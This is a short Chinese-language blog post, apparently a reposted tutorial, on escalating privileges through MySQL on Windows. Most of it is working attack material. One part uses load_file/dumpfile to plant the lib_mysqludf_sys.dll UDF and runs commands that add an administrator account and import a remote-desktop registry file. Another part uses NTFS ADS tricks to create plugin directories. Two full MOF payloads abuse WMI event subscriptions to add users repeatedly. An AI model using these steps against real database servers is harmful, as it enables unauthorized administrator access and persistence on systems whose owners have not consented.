MySQL提權

標籤：style   blog   http   io   ar   color   sp   strong   檔案   

1、利用sqlmap的UDF提權

　　1.找個可寫的目錄上傳lib_mysqludf_sys.dll，根據mysql的版本匯入到windows\system32或者mysql的\lib\plugin目錄下

select @@plugin_dir

 

select load_flie(‘C:\\RECYCLER\\lib_mysqludf_sys.dll‘) into dumpfile ‘C:\\windows\\system32\\lib_mysqludf_sys.dll‘

 

 

　　2.建立函數執行命令

create function cmd returns string soname ‘lib_mysqludf_sys.dll‘;select cmd(‘net user mrxt 123456 /add‘);select cmd(‘net localgroup administrators mrxt /add‘);select cmd(‘regedit /s C:\\3389.reg‘);    drop function cmd;delete from mysql.func where name=‘cmd‘

 

　　

　　3.某些情況下遇到Can‘t open shared library的情況，需要把DLL匯出到lib\plugin目錄下才可以，如果不存在，則可以用NTFS ADS流來建立檔案夾的方法

select ‘dll file‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\::$INDEX_ALLOCATION‘;//建立lib目錄select ‘dll file‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘;//建立plugin目錄

 

　　

2.MOF提權

找個可寫目錄上傳MOF檔案，比如C:\RECYCLER\

這個payload利用的是WScript.Shell

#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter{    EventNamespace = "Root\\Cimv2";    Name  = "filtP2";    Query = "Select * From __InstanceModificationEvent "            "Where TargetInstance Isa \"Win32_LocalTime\" "            "And TargetInstance.Second = 5";    QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{    Name = "consPCSV2";    ScriptingEngine = "JScript";    ScriptText =    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user mrxt 123456 /add\")";};instance of __FilterToConsumerBinding{    Consumer   = $Consumer;    Filter = $EventFilter;};

 

這個payload利用的是User.Shell

#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter{    EventNamespace = "Root\\Cimv2";    Name  = "filtP2";    Query = "Select * From __InstanceModificationEvent "            "Where TargetInstance Isa \"Win32_LocalTime\" "            "And TargetInstance.Second = 5";    QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = new ActiveXObject(\"Shell.Users\")\nz=WSH.create(\"NewUser\")\nz.changePassword(\"123456\", \"\")\nz.setting(\"AccountType\")=3";};instance of __FilterToConsumerBinding{    Consumer   = $Consumer;    Filter = $EventFilter;};

 

然後匯出到c:/windows/system32/wbem/mof/目錄下

select load_file(‘C:\\wmpub\\nullevt.mof‘) into dumpfile ‘c:\\windows\\system32\\wbem\\mof\\nullevt.mof‘

 

這個方法會不停的添加使用者，執行net stop winmgmt 然後刪除檔案即可

 

 

參考文章：

http://www.waitalone.cn/mysql-tiquan-summary.html

http://zone.wooyun.org/content/1795

http://www.exploit-db.com/exploits/23083/

 

MySQL提權